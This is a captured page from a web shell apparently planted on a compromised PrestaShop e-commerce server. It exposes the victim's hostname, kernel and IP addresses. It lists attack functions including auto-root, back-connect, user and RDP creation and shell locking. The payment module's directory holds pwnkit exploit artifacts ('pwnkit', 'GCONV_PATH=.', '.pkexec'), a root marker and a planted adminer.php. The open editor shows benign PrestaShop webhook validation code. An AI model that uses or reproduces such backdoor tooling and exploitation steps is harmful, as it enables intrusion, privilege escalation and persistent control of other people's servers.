Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.61
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
ps_checkout /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Adapter
[ DIR ]
drwx---r-x
Api
[ DIR ]
drwx---r-x
Builder
[ DIR ]
drwx---r-x
Configuration
[ DIR ]
drwx---r-x
Context
[ DIR ]
drwx---r-x
Controller
[ DIR ]
drwx---r-x
Database
[ DIR ]
drwx---r-x
Dispatcher
[ DIR ]
drwx---r-x
Entity
[ DIR ]
drwx---r-x
Environment
[ DIR ]
drwx---r-x
Exception
[ DIR ]
drwx---r-x
ExpressCheckout
[ DIR ]
drwx---r-x
Faq
[ DIR ]
drwx---r-x
FundingSource
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Handler
[ DIR ]
drwx---r-x
Logger
[ DIR ]
drwx---r-x
OnBoarding
[ DIR ]
drwx---r-x
PayPal
[ DIR ]
drwx---r-x
Presenter
[ DIR ]
drwx---r-x
PsxData
[ DIR ]
drwx---r-x
Repository
[ DIR ]
drwx---r-x
Segment
[ DIR ]
drwx---r-x
Settings
[ DIR ]
drwx---r-x
Shop
[ DIR ]
drwx---r-x
Translations
[ DIR ]
drwx---r-x
Updater
[ DIR ]
drwx---r-x
Validator
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
Customer.php
1.67
KB
-rw----r--
ExpressCheckout.php
2.98
KB
-rw----r--
HostedFieldsErrors.php
10.03
KB
-rw----r--
Merchant.php
1.49
KB
-rw----r--
MultiStoreFixer.php
6.21
KB
-rw----r--
OrderStates.php
8.19
KB
-rw----r--
PayPalError.php
33.97
KB
-rw----r--
PayPalProcessorResponse.php
11.33
KB
-rw----r--
PaypalCountryCodeMatrice.php
1.91
KB
-rw----r--
PaypalOrder.php
2.4
KB
-rw----r--
PersistentConfiguration.php
5.52
KB
-rw----r--
Refund.php
15.62
KB
-rw----r--
ShopContext.php
1.71
KB
-rw----r--
ShopUuidManager.php
2.64
KB
-rw----r--
ValidateOrder.php
14.47
KB
-rw----r--
WebHookOrder.php
4.15
KB
-rw----r--
WebHookValidation.php
4.34
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.1
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WebHookValidation.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License version 3.0 * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/AFL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/AFL-3.0 Academic Free License version 3.0 */ namespace PrestaShop\Module\PrestashopCheckout; use PrestaShop\Module\PrestashopCheckout\Exception\PsCheckoutException; class WebHookValidation { /** * Validates the webHook header data * * @param array $headerValues * * @return bool * * @throws PsCheckoutException */ public function validateHeaderDatas(array $headerValues) { if (empty($headerValues)) { throw new PsCheckoutException('Header can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_HEADER_EMPTY); } if (empty($headerValues['Shop-Id'])) { throw new PsCheckoutException('Shop-Id can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_SHOP_ID_EMPTY); } if (empty($headerValues['Merchant-Id'])) { throw new PsCheckoutException('Merchant-Id can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_MERCHANT_ID_EMPTY); } if (empty($headerValues['Psx-Id'])) { throw new PsCheckoutException('Psx-Id can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_PSX_ID_EMPTY); } return true; } /** * Validates the webHook body data * * @param array $payload * * @return bool * * @throws PsCheckoutException */ public function validateBodyDatas(array $payload) { if (empty($payload)) { throw new PsCheckoutException('Body can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_BODY_EMPTY); } if (empty($payload['eventType'])) { throw new PsCheckoutException('eventType can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_EVENT_TYPE_EMPTY); } if (empty($payload['category'])) { throw new PsCheckoutException('category can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_CATEGORY_EMPTY); } if (empty($payload['resource'])) { throw new PsCheckoutException('Resource can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_RESOURCE_EMPTY); } return true; } /** * Validates the webHook resource data * * @param array $resource * * @return bool * * @throws PsCheckoutException */ public function validateRefundResourceValues(array $resource) { if (empty($resource)) { throw new PsCheckoutException('Resource can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_RESOURCE_EMPTY); } if (empty($resource['amount']['value'])) { throw new PsCheckoutException('Amount value can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_AMOUNT_EMPTY); } if (0 >= $resource['amount']['value']) { throw new PsCheckoutException('Amount value must be higher than 0', PsCheckoutException::PSCHECKOUT_WEBHOOK_AMOUNT_INVALID); } if (empty($resource['amount']['currency_code'])) { throw new PsCheckoutException('Amount currency can\'t be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_CURRENCY_EMPTY); } return true; } /** * Validates the webHook orderId * * @param int|string $orderId can be paypal order id (string) or prestashop order id (int) * * @return bool * * @throws PsCheckoutException */ public function validateRefundOrderIdValue($orderId) { if (empty($orderId)) { throw new PsCheckoutException('orderId must not be empty', PsCheckoutException::PSCHECKOUT_WEBHOOK_ORDER_ID_EMPTY); } return true; } }
Close